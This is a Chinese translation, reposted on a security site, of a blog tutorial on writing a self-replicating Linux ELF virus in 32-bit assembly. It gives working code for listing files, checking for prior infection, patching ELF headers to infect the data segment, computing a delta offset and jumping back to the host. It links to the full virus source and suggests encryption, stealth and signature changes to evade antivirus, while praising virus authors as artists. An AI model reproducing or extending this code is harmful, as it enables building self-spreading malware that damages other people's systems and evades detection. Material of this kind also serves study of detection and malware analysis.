安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】如何使用汇编语言编写一个病毒

http://p1.qhimg.com/t019856a1db0a054bf1.jpg

翻译:维一零

预估

,或登陆


前言


病毒编写的艺术似乎丢失了似的。我们不要将恶意软件,特洛伊木马,蠕虫等等混淆成病毒。你可以使用任何友好的脚本语言去编写那些垃圾程序并且拍着自己的后背嘚瑟一下,但这并不能让你成为一个病毒作者。编写计算机病毒并不一定就是你所看到的关于破坏,还得要看你的病毒可以传播多广泛同时避免被检测,也得要比杀毒软件公司更为聪明。这事关创新和创造力。一个计算机病毒在很多方面就像一个纸飞机。你需要使用聪明和具有创造性的方式去折飞机,并试图使它在不可避免的着陆前尽可能长久的飞翔。在万维网之前,传播病毒是一种挑战。运气好的话,它会感染除了你自己之外的任何电脑。如果运气更好点,你的病毒将获得像鲸鱼病毒或米开朗基罗病毒一样的名声。

如果你想被视为一个“病毒作者”,你必须获得这类称号。在地下黑客组织里,在黑客/破解者/入侵者之中,我最尊重的是病毒作者。因为不是任何人都能做到,那是真的能够表现出他比别人拥有更深的、关于系统和软件方面的知识。你不能指望简单地遵循常规就能成为一个病毒作者。编写一个真正的病毒需要比一般“黑客”拥有更多的技能。多年以来,我没有成功的写出一个可以运行良好的二进制文件感染病毒。一直就是报错、报错、报错。这是一件令人沮丧的事情。因此我坚持编写蠕虫、木马炸弹和ANSI炸弹。我坚持编写BBS的漏洞利用,也去逆向视频游戏软件以破解其版权保护。每当我以为我的汇编技术终于足够,试图编写出一个病毒的时候,失败再次地落到我的脸上。我花了好几年的时间才能够编写出一个真正可运行的病毒。这就是为什么我着迷于病毒并且想找出一些真正的病毒作者。在瑞安“elfmaster”奥尼尔传奇的书籍《学习Linux二进制程序分析》中,他指出:

这是一个超越常规编程约定的伟大挑战工程,它要求开发人员跳出传统模式,去操纵代码、数据和环境使其以某种方式表现,在与AV杀毒软件开发者的交流时,令我吃惊的是,他们旁边没有人有任何真正关于如何逆向一个病毒的想法,更不用说去设计什么真正的启发式来识别它们(除了签名)。事实上,病毒编写是非常困难的,并且需要标准比较严格的技能。


使用汇编语言编写一个病毒


病毒是一种艺术。汇编和C(不使用代码库)将是你的画笔。今天,我将帮助你经历一些我面临过的挑战。让我们开始吧,看看你是否拥有成为一个艺术家的潜能!

与我之前的“源代码感染”病毒教程不同,这是更先进且具有挑战性的经历/运用(即使对经验丰富的开发人员)。但是,我鼓励你继续阅读并尽你所能地汲取。

让我们先描述一下我认为的、一个真正病毒应该有的特点:

——病毒会感染二进制可执行文件

——病毒代码必须是独立的,它独立于其他文件、代码库、程序等

——被感染的宿主文件能够继续执行并且传播病毒

——病毒在不损害宿主文件的情况下表现得像一只寄生虫。受感染的宿主应继续像它被感染之前一样执行

因为我们要感染二进制可执行文件,所以简要列表介绍几个不同的可执行文件类型。

ELF-(可执行和链接的文件格式)Unix和类Unix系统标准的的二进制文件格式。这也被许多手机,游戏机(Playstation,任天堂)等等使用。

Mach-O-(Mach对象)被NeXTSTEP,macOS,iOS等等,所使用的二进制可执行文件格式,你其实在用它,因为所有的苹果手机都是这。

PE-(便携式可执行程序)用于32位和64位微软操作系统

MZ(DOS)- DOS支持的可执行文件格式…所有的微软32位及以下操作系统使用

COM(DOS)- DOS支持的可执行文件格式…所有的微系32位及以下操作系统使用

微软的病毒教程有许多,但是ELF病毒似乎更具挑战性并且教程稀缺,所以我将主要关注的是32位ELF程序的感染。

我将假设读者至少对病毒复制的方式有一个常规的理解。如果没有,我推荐你阅读我以前的博客文章主题:

https://cranklin.wordpress.com/2011/04/19/how-to-write-a-stupid-simple-computer-virus-in-3-lines-of-code/

https://cranklin.wordpress.com/2011/11/29/how-to-create-a-computer-virus/

https://cranklin.wordpress.com/2012/05/10/how-to-make-a-simple-computer-virus-with-python/

第一步是找到要感染的文件。DOS指令集可以方便寻找文件。AH:4Eh INT 21指令能够基于给定的文件描述找到第一个匹配的文件,而AH:4Fh INT 21指令可以找到下一个匹配的文件。不幸的是,对于我们却不会这么简单。使用Linux汇编来检索文件列表,这相关的文档并不是很多。少数的几个回答中我们发现它依赖于POSIX系统的readdir()函数。但是我们是黑客,对么?让我们做黑客应该做的事情来实现它。你应该熟悉的工具是strace。通过运行strace ls,我们看到了当运行ls命令时,跟踪到的系统调用和信号。

http://p1.qhimg.com/t01cb664daad72ad6bf.png

你感兴趣的调用是getdents。所以下一步是在http://syscalls.kernelgrok.com/查找”getdents”。这将给我们一个小小的提示,关于我们应该怎样使用它以及我们如何得到一个目录列表。下面就是我所发现的东西:

      mov eax, 5      ; sys_open
    mov ebx, folder ; 目录名称
    mov ecx, 0
    mov edx, 0
    int 80h
    cmp eax, 0      ; 检测在eax中的fd是否 > 0 (ok) 
    jbe error       ; 不能打开文件,  以错误状态退出 
    mov ebx, eax    
    mov eax, 0xdc   ; sys_getdents64 
    mov ecx, buffer 
    mov edx, len 
    int 80h 
    mov eax, 6  ; 关闭
    int 80h

现在,我们指定的缓冲区里已经有了目录的内容,我们必须去解析它。出于某种原因,每个文件名的偏移量似乎并没有一致,但也可能是我错了。不过我只对那些原始的文件名字符串感兴趣。我所做的是打印缓冲区到标准输出,然后保存它到另一个文件,再使用十六进制编辑器来打开它。我发现的规律是每个文件名都带有一个前缀,前缀由十六进制值0x00(null)后紧跟一个十六进制0x08构成。文件名是以null为终止的(后缀为一个十六进制0x00)。

find_filename_start:
    ; 寻找在一个文件名开始前的序列0008
    add edi, 1
    cmp edi, len 
    jge done 
    cmp byte [buffer+edi], 0x00 
    jnz find_filename_start 
    add edi, 1
    cmp byte [buffer+edi], 0x08 
    jnz find_filename_start 
    xor ecx, ecx    ; 清空ecx,其将作为文件的偏移 
find_filename_end:
    ; 清空ecx,其将作为文件的偏移 
    add edi, 1 
    cmp edi, len    
    jge done
    mov bl, [buffer+edi]    ; 从缓冲区里移动文件名字节
    mov [file+ecx], bl 
    inc ecx                 ; 增加保存在ecx的偏移量
    cmp byte [buffer+edi], 0x00 ; 代表文件名的结尾
    jnz find_filename_end
    mov byte [file+ecx], 0x00 ; 到这我们就拿到文件名了,在其尾部添加一个0x00
    ;; 对该文件做一些操作 
    jmp find_filename_start ; 找下一个文件

其实有更好的方法来做这些事。你所需要做的只是去匹配目录条目结构的字节:

struct linux_dirent {
               unsigned long  d_ino;     /* Inode number */
               unsigned long  d_off;      /* 下一个linux_dirent的偏移 */
               unsigned short d_reclen;  /* 这个linux_dirent的长度 */
               char           d_name[];  /* 文件名 (null结尾) */
                                 /* length is actually (d_reclen - 2 -
                                    offsetof(struct linux_dirent, d_name)) */
               /*
               char           pad;       // Zero padding byte
               char           d_type;    // File type (only since Linux
                                         // 2.6.4); offset is (d_reclen - 1)
               */
           }
struct linux_dirent64 {
               ino64_t        d_ino;    /* 64位inode number */
               off64_t        d_off;    /* 64位下个structure的偏移 */
               unsigned short d_reclen; /* 这个dirent的长度 */
               unsigned char  d_type;   /* 文件类型 */
               char           d_name[]; /*文件名 (null结尾) */
           };

但我正在使用的是我发现的一种模式,它没有使用到结构体中的偏移量。

下一步是检查文件,看看是否:

——这是一个ELF可执行文件

——它是不是已经被感染

早些时候,我介绍了一些关于不同操作系统使用的不同类型的可执行文件。这些文件类型在其文件头部都有不同的标志。例如,ELF文件总是从7f45 4c46开始。45-4c-46是ASCII字母E-L-F的十六进制表示。

如果你转储windows可执行文件十六进制数据,你会看到它开头是4D5A,代表字母M-Z。

十六进制转储OSX可执行文件显示了标记字节CEFA EDFE,也是小端的“FEED FACE”。

你可以在这里看到更多关于可执行文件格式和各自的标记:https://en.wikipedia.org/wiki/List_of_file_signatures

http://p6.qhimg.com/t0160f362eef743325e.png

在我的病毒中,我要把自己的标记写在了ELF文件头中第9 – 12字节里未使用的地方。这是一个不错的位置,可以用来存放一个双字“0edd1e00”——我的名字。 

我需要这个来标记我已经感染的文件,这样我就不会再次感染已经感染过的文件。不然受感染文件的长度将像雪球一样越滚越大,耶路撒冷病毒第一次就因此被检测到。

通过简单读取前12个字节,我们可以确定该文件是否是一个好的感染对象然后再继续下一个目标。我打算将每一个潜在的目标存储在一个单独的缓冲区,称之为“目标”。

现在它开始要变得困难了。为了感染ELF文件,你需要了解一切关于ELF文件结构的知识。这里是一个很好的学习起点:http://www.skyfree.org/linux/references/ELF_Format.pdf

不同于简单的COM文件,ELF存在一些不同的挑战问题。简单来说,ELF文件包括:ELF头,程序头,节头,和指令操作码。

ELF头告诉我们关于程序头和节头的信息。它也告诉我们程序在内存中的入口点位置(首先执行的指令操作码)。

程序头告诉我们,哪个“段”属于TEXT段,哪个“段”属于DATA段,也给出其在文件中的偏移。

节头给出每个“节”和它们所属“段”的信息。这可能有点令人困惑。首先要明白的是一个可执行文件在磁盘上和它运行在内存中是不同的状态,而这些头给出了这两方面的相关信息。

TEXT段是可读取/执行的代码段,它包含了我们的代码和其他只读数据。

DATA段是可读/写的数据段,它包含了全局变量和动态链接的信息。

在TEXT段,有一个.text节和一个.rodata节。在DATA段中,有一个.data节和.bss节。

如果你熟悉汇编语言,这些节名应该对你来说听起来很熟悉。

.text是代码驻留的地方,.data是存储初始化全局变量的地方。.bss包含未初始化的全局变量,因为它是未初始化的,所以没有占用磁盘空间。

不像PE文件(微软的),ELF文件没有太多可以感染的区域。老式的DOS、COM文件几乎允许你在任何地方添加病毒代码,然后在100 h这个地址覆盖内存代码(因为COM文件总是在100 h的内存地址开始映射)。ELF文件不允许你写TEXT段。下面这些是ELF感染病毒的主要方法:


感染Text段填充区


感染.text节的尾部。我们可以利用ELF文件的特点,当其加载到内存中,尾部会被使用‘0’来填充成一个完整的内存页。受到内存页长度的限制,所以我们只能在32位系统上容纳一个4 kb病毒或在64位系统容纳2 mb病毒。这看起来可能很小,但也足够容纳用C或者汇编语言编写的小病毒。这一目标的实现方法是:

——修改入口点(ELF头)到.text节的尾部

——增加节表(ELF头)里对应节的页长度

——增加Text段的文件长度和内存长度为病毒代码的长度

——遍历每个被病毒寄生后的程序头,根据页面长度增加对应的偏移

——找到Text段的最后一个节头,增加其节长度(在节头里)

——遍历每个被病毒感染后的节头,根据页面长度增加对应的偏移

——在.text节的尾部插入实际的病毒代码

——插入病毒代码后跳转到原始宿主的入口点执行


反向感染Text段


在允许宿主代码保持相同虚拟地址的同时感染.text节区的前面部分。我们将反向扩展text段。在现代Linux系统中允许的最小虚拟映射地址是0x1000,这便是我们可以反向拓展text段的限制长度。在64位系统上,默认的text段虚拟地址通常是0x400000,这就有可能给病毒留下减掉ELF头长度后的大小为0x3ff000的空间。在32位系统上,默认的text段虚拟地址通常是0x0804800,这就有可能产生更大的病毒。这一目标的实现方式是:

——增加节表(在ELF头)里的偏移为病毒长度(对下一内存页对齐值取余)

——在Text段程序头里,根据病毒的长度(对下一内存页对齐值取余)减小虚拟地址(和物理地址)

——在Text段程序头里,根据病毒的长度(对下一内存页对齐值取余)增加文件长度和内存长度

——根据病毒的长度(再次取余),遍历每个程序头的偏移,增加它的值到大于text段 

——修改入口点(在ELF头)到原始的text段虚拟地址——病毒的长度(再次取余)

——根据病毒的长度(再次取余),增加程序头偏移(在ELF头)

——插入病毒实体到text段的开始位置


Data段感染


感染数据段。我们将把病毒代码附加到data段(在.bss节之前)。因为它是数据部分,我们的病毒代码可以尽可能的大,像我们希望的那样不受约束。Data内存段的数据有一个R + W(读和写)的权限设置,而Text内存段有R + X(读和执行)权限设置。在没有NX位设置的系统(如32位Linux系统)中,你可以执行Data段里的代码而不用改变权限设置。然而,其他系统需要你在病毒寄存的内存段属性中添加一个可执行的标志。

——根据病毒的长度增加节头的偏移(在ELF头)

——修改入口点(在ELF头)指向数据段的尾部(虚拟地址+文件长度)

——在数据段程序头里,根据病毒长度增加页面和内存的长度

——根据病毒的长度增加.bss节的偏移(在节头)

——设置数据段的可执行权限位(32位Linux系统不适用)。

——插入病毒实体到数据段的尾部

——插入代码,跳转到原始宿主的入口点

当然,还有更多感染的方法,但这些是首要选择。对于我们的示例,将使用上面的第三个方法。

编写病毒时还有另外一个比较大的障碍——变量。理想情况下,我们不希望合并(病毒和宿主).data节和.bss节。此外,一旦你汇编或编译病毒,无法保证当病毒在宿主程序运行时你的变量始终在同一个虚拟地址。事实上,这几乎是不会发生的事情,那样的话宿主程序将会抛出段错误的提示。所以在理想情况下,你希望限制你的病毒到一个特定的节:.text。如果你有汇编的经验,你就明白这是一项挑战。我将和你们分享一些技巧,应该就会使这个过程更容易些。

首先,让我们关照一下.data节变量(初始化了)。如果可能的话,“硬编码”这些值。或者,假设我有我.asm代码:

section .data
    folder db ".", 0
    len equ 2048
    filenamelen equ 32
    elfheader dd 0x464c457f     ; 0x7f454c46 -> .ELF (反转字节序)
    signature dd 0x001edd0e     ; 0x0edd1e00 反转字节序后的签名
section .bss
    filename: resb filenamelen  ; 目标文件路径
    buffer: resb len            ; 所有的文件名
    targets: resb len           ; 目标文件名
    targetfile: resb len        ; 目标文件内容
section .text
    global v1_start
v1_start:
你可以这样做:
    call signature
    dd 0x001edd0e     ; 0x0edd1e00反转字节序后的签名
signature:
    pop ecx     ; 现在值存在ecx里了

我们利用的是,当一个call指令被调用时,调用的当前指令的绝对地址将会被压入栈内存里以期能够正常返回。

这样我们就可以遍历每个.data节里的变量然后一起解决这个问题了。

至于.bss节里的变量(未初始化的),我们需要储备一定数量的字节数据。我们在.text节里这样做因为它属于Text代码段,其属性被标记为r + x(读取和执行),不允许在该内存段里写数据。所以我决定使用堆栈。栈?是的,一旦我们把字节压入堆栈,我们可以看到堆栈指针并保存这些标记。这里是我解决方案里的一个例子:

 ; 给未初始化的变量开辟栈内存空间以避免使用.bss节
    mov ecx, 2328   ; 设置循环计数2328 (x4=9312 bytes). filename(esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
loop_bss:
    push 0x00       ; 压入4个字节(双字)的0
    sub ecx, 1      ; 计数减一
    cmp ecx, 0
    jbe loop_bss
    mov edi, esp    ; esp 有了我们要伪造的 .bss 偏移。 让我们将它存储在edi里。

注意到我一直在压入0x00字节(在32位汇编压栈一次将一个双字压入,正好是寄存器的长度)。确切地说,我们共压入2328次。这样大概给我们开辟一个大约9312字节的空间可以使用。一旦我完成所有的0字节压栈,把ESP的值(即我们的堆栈指针)存储起来,并把它作为我们“伪造.bss”的基址。我可以引用ESP +[offset]来访问不同的变量。在我的例子中,我保存的[esp]对应filename,[esp + 32]对应buffer,[esp + 1056]对应targets,以及[esp + 2080]对应targetfile。

现在我就可以完全去除.data节和.bss节的使用了,并且整个病毒被唯一的一个.text节来承载!

readelf是一个很有用的工具。运行readelf –a[file]将会给你ELF头/程序头/节头的一些细节:

这里有三个节:.text、.data、.bss

http://p5.qhimg.com/t01c394796d614b966b.png

这里我们消除了.bss节:

http://p3.qhimg.com/t0172065179330a7a6b.png

在这里,我们已经完全消除了.data段。我们可以用.text节来单独进行一切操作!

http://p5.qhimg.com/t01d1e4195dee2d76dc.png

现在我们将需要读取宿主文件的字节数据到一个缓冲区,对头部进行必要的修改,并注入病毒标记。如果你做了给你的关于目录条目结构和保存目标文件长度的家庭作业,将对你有好处。否则,我们将不得不一个字节一个字节地读文件,直到系统读到一个在EAX返回0 x00的调用,说明我们已经达到了EOF:

reading_loop:
    mov eax, 3              ; sys_read
    mov edx, 1              ; 一次读一个字节 (yeah, 我知道这可能是最好的)
    int 80h 
    cmp eax, 0              ; 如果返回 0,我们读到了EOF
    je reading_eof
    mov eax, edi 
    add eax, 9312          ; 2080 + 7232 (2080 targetfile在我们伪造 .bss的偏移)
    cmp ecx, eax            ; 如果文件超过 7232 字节, 退出
    jge infect
    add ecx, 1
    jmp reading_loop
reading_eof:
    push ecx                ;保存最后读取的一个字节的地址, 我们后面需要用到它
    mov eax, 6              ;关闭文件
    int 80h

修改缓冲区是非常简单的。记住,当移动任何超出一个字节时你必需得处理反向字节顺序(小端)。

这里我们注入病毒标记并改变入口点指向我们在数据段尾部的病毒代码。(文件长度不包括的.bss在内存中占据的空间):

mov ebx, dword [edi+2080+eax+8]     ; phdr->vaddr (内存虚拟地址)
add ebx, edx        ;新入口点 = phdr[data]->vaddr + p[data]->filesz
mov ecx, 0x001edd0e     ; 在8字节处插入我们的标志(ELF头没有用到的节)
mov [edi+2080+8], ecx
mov [edi+2080+24], ebx  ; 用病毒覆盖旧入口点 (在buffer里)

注意到我想存储0xedd1e00(用十六进制字符编写的我的名字)的病毒标记,但反向字节顺序给了我们0x001edd0e。

你还会注意到,我用偏移算法找到通向我留给未初始化变量的栈底部区域。

现在我们需要定位DATA程序头并做一些修改。诀窍是先找到PT_LOAD类型,然后确定其偏移是不是非0。如果其偏移量为0,它就是一个TEXT程序头。否则,它就是DATA。 

section_header_loop:
    ; 循环通过节头来寻找.bss节(NOBITS)
 
    ;0  sh_name 包含一个指向给定节的名字字符串指针
    ;+4 sh_type 给定节类型 [节的名称
    ;+8 sh_flags    其他标志 ...
    ;+c sh_addr 运行时节到虚拟地址
    ;+10    sh_offset   节在文件中到偏移
    ;+14    sh_size zara white phone numba
    ;+18    sh_link根据节类型
    ;+1c    sh_info 根据节类型
    ;+20    sh_addralign    对齐
    ;+24    sh_entsize  当节包含固定长度的入口时被使用
    add ax, word [edi+2080+46]
    cmp ecx, 0
    jbe finish_infection        ; 找不到.bss节。  不需要担心,可以完成感染
    sub ecx, 1                  ; 计数减一
 
    mov ebx, dword [edi+2080+eax+4]     ; shdr->type (节类型)
    cmp ebx, 0x00000008         ; 0x08是 NOBITS,.bss节的指标
    jne section_header_loop     ; 不是.bss节
 
    mov ebx, dword [edi+2080+eax+12]    ; shdr->addr (内存虚拟地址)
    add ebx, v_stop - v_start   ; 增加我们病毒的长度给 shdr->addr
    add ebx, 7                  ; 为了跳转到起始入口点
    mov [edi+2080+eax+12], ebx  ; 用新的覆盖旧的shdr->addr(在缓冲区里)
 
    mov edx, dword [edi+2080+eax+16]    ; shdr->offset (节的偏移)
    add edx, v_stop - v_start   ; 增加我们病毒的长度给shdr->offset
    add edx, 7                  ; 为了跳转到起始入口点
    mov [edi+2080+eax+16], edx  ; 用新的覆盖旧的shdr->offset(在缓冲区里)

我们还需要修改.bss节头。我们可以通过检查类型标志NOBITS说这是否是一个节头。节头不一定需要为了运行可执行文件而存在。所以如果我们不能找到它,也没什么大不了的,我们仍然可以继续进行:

;dword [edi+2080+24]       ; ehdr->entry (入口点的虚拟地址)
;dword [edi+2080+28]       ; ehdr->phoff (程序头便宜)
;dword [edi+2080+32]       ; ehdr->shoff (节头偏移)
;word [edi+2080+40]        ; ehdr->ehsize (elf头的长度)
;word [edi+2080+42]        ; ehdr->phentsize (一个程序头入口的长度)
;word [edi+2080+44]        ; ehdr->phnum (程序头入口的数量)
;word [edi+2080+46]        ; ehdr->shentsize (一个节头入口的长度)
;word [edi+2080+48]        ; ehdr->shnum (程序头入口的数量)
mov eax, v_stop - v_start       ; 我们病毒的长度减去到原始入口点的跳转
add eax, 7                      ; 为了到原始入口点的跳转
mov ebx, dword [edi+2080+32]    ; 原始节头偏移
add eax, ebx                    ; 增加原始节头偏移
mov [edi+2080+32], eax      ; 用新的覆盖旧的shdr->offset(在缓冲区里)

然后,当然我们需要通过修改节头偏移对ELF头作最后修改,因为我们感染data段的尾端(bss之前)。程序头保持在同一位置:

;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point)
;dword [edi+2080+28]       ; ehdr->phoff (program header offset)
;dword [edi+2080+32]       ; ehdr->shoff (section header offset)
;word [edi+2080+40]        ; ehdr->ehsize (size of elf header)
;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry)
;word [edi+2080+44]        ; ehdr->phnum (number of program header entries)
;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry)
;word [edi+2080+48]        ; ehdr->shnum (number of program header entries)
mov eax, v_stop - v_start       ; size of our virus minus the jump to original entry point
add eax, 7                      ; for the jmp to original entry point
mov ebx, dword [edi+2080+32]    ; the original section header offset
add eax, ebx                    ; add the original section header offset
mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer)

最后一步是注入病毒的实体代码,并完成回到宿主代码入口点的跳转指令,以便我们毫无戒心的用户看到宿主程序运行正常。

你可能会问自己的问题是,病毒如何抓取自己的代码?病毒是如何确定自己的长度呢?这些都是很好的问题。首先,我使用标签来标记病毒的开始和结束,然后使用简单的数学偏移:

section .text
    global v_start
 
v_start:
    ; 病毒体开始
...
...
...
...
v_stop:
    ; 病毒体结束
    mov eax, 1      ; sys_exit
    mov ebx, 0      ; 正常状态
    int 80h

通过这样做,我可以使用v_start作为病毒开始的偏移量,然后可以使用v_stop-v_start作为字节数量(长度)。

mov eax, 4
mov ecx, v_start        ; 附加病毒部分
mov edx, v_stop - v_start   ; 病毒字节的长度
int 80h

病毒的长度(v_stop – v_start)比较好计算,但是在第一次感染后病毒代码的开头(mov ecx, v_start)引用将会失败。事实上,任何绝对地址的引用都将会失败,因为不同宿主程序的内存位置都会发生改变。像v_start这种标签的绝对地址是在编译期间计算好的,而那取决于它如何被调用。你使用的正常短跳转如jmp、jne、jnz等都将被转换为相对于当前指令的偏移,不过像MOV这类标签的地址就不会变。我们需要的是一个delta偏移量。delta偏移量就是从原始病毒当前宿主文件的虚拟地址差值。那么如何得到delta偏移量呢?这有一个我从90年初的DOS病毒教程“Dark Angel’s Phunky Virus Guide”里学来的一个非常简单的技巧:

    call delta_offset
delta_offset:
    pop ebp                 
    sub ebp, delta_offset

通过在当前位置调用一个标签,当前指令的指针(绝对地址)就会被压入栈以方便你可以知道你RET返回到哪里。我们只要把这个值从堆栈里弹出来就能获得当前指令的指针。然后通过从当前地址减去原始病毒的绝对地址,我们就在EBP里获得了delta偏移量!在原病毒执行期间delta偏移量将为0。

你会注意到,为了规避某些障碍,我们调用没有RET的CALL,反之亦然。我建议你尽量不要在这个项目以外的地方这样做,因为很显然,丢失一个call/ret对将会导致性能损失…但现在不是正常的情况。 

现在我们有了delta偏移量,让我们切换v_start的引用为delta偏移量版本:

mov eax, 4
lea ecx, [ebp + v_start]    ; 附加病毒部分 (用delta偏移计算)
mov edx, v_stop - v_start   ; 病毒数据的长度
int 80h

注意到我并没有在病毒里包含系统退出调用。这是因为我不想让病毒在执行宿主代码之前退出。相反,我把这部分替换为跳转到原始宿主的代码。由于不同宿主程序入口点会有所不同,我需要动态生成它然后直接注入操作码。为了找出操作码,你必须首先了解JMP指令本身的特点。JMP指令将试图通过计算到目的地址的偏移做一个相对跳转。我们要给它一个绝对位置。我通过汇编一个小程序里面的JMP短跳转和JMP远跳转算出了它们的十六进制操作码。JMP 操作码从E9变到FF。

mov ebx, 0x08048080
jmp ebx 
jmp 0x08048080

汇编后,我运行“xxd”然后检查字节数据就知道如何将它翻译成操作码了。

http://p7.qhimg.com/t011124da5d59dc77c5.png

pop edx                 ; 宿主程序的原始入口点
mov [edi], byte 0xb8        ; MOV EAX的操作码 (1 byte)
mov [edi+1], edx            ; 原始入口点 (4 bytes)
mov [edi+5], word 0xe0ff    ; JMP EAX操作码 (2 bytes)

MOV一个双字到寄存器EAX最终被表示为B8 xx xx xx xx。JMP到存储在寄存器EAX里地址的指令最终被表示为FF E0

上面总共有7个额外字节添加到病毒的结尾。这也意味着,我们修改的每个偏移和文件长度必须加入这额外的7个字节。

因此我的病毒在缓冲区里的头部做了修改(而不是在文件),然后用修改的缓冲区覆盖宿主文件直到我们病毒代码驻留的偏移位置。然后插入它本身(vstart,vstop-vstart)再继续写缓冲区字节的其余部分,最后转接程序控制权给原始宿主文件。

一旦我汇编了病毒,我想在病毒的第8字节处手动添加病毒标记。这在我的示例中可能不是必要的,因为我的病毒会跳过目标如果它没有一个DATA段的话,但实际也不会非总是这样。打开你最喜欢的十六进制编辑器并添加这些字节吧!

现在我们完成了,让我们来汇编并测试它:nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e v_start -o virus.o

我录了一个测试视频。这里面我听起来像是有点缺乏热情,只是因为现在是深夜,实际上我是欣喜若狂的。

既然你已经完成了阅读,这里就贴上我过度评论的病毒源代码链接:https://github.com/cranklin/cranky-data-virus

这是一个非常简单的ELF感染病毒。它也可以通过非常简单的调整进行改进:

——从ELF头中提取更多的信息(32或64位、可执行文件等)

——在targetfile缓冲区后分配文件缓冲区。为什么?因为当我们获得targetfile缓冲区时就不再使用文件缓冲区了,我们可以为来获得一个更大的targetfile缓冲区而溢出文件缓冲区。

——遍历目录,这也可以通过一些稍微复杂的调整来改善:

——稍微覆盖我们的行踪更好地隐形

——加密!

——改变特征

——使用更难检测的方法去感染

好了,这就是献给大家的全部内容了。


总结


通过读这篇文章,我希望你也能够获得一些关于启发式病毒检测知识(而不需要搜索特定病毒特征)。也许这将是改天的主题。或者我将介绍OSX病毒…也许我会做一些蹩脚的事情并演示一个Nodejs病毒。

我们将会看到的,现在再见了。


原文链接:https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/

未经允许不得转载:安全路透社 » 【技术分享】如何使用汇编语言编写一个病毒

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册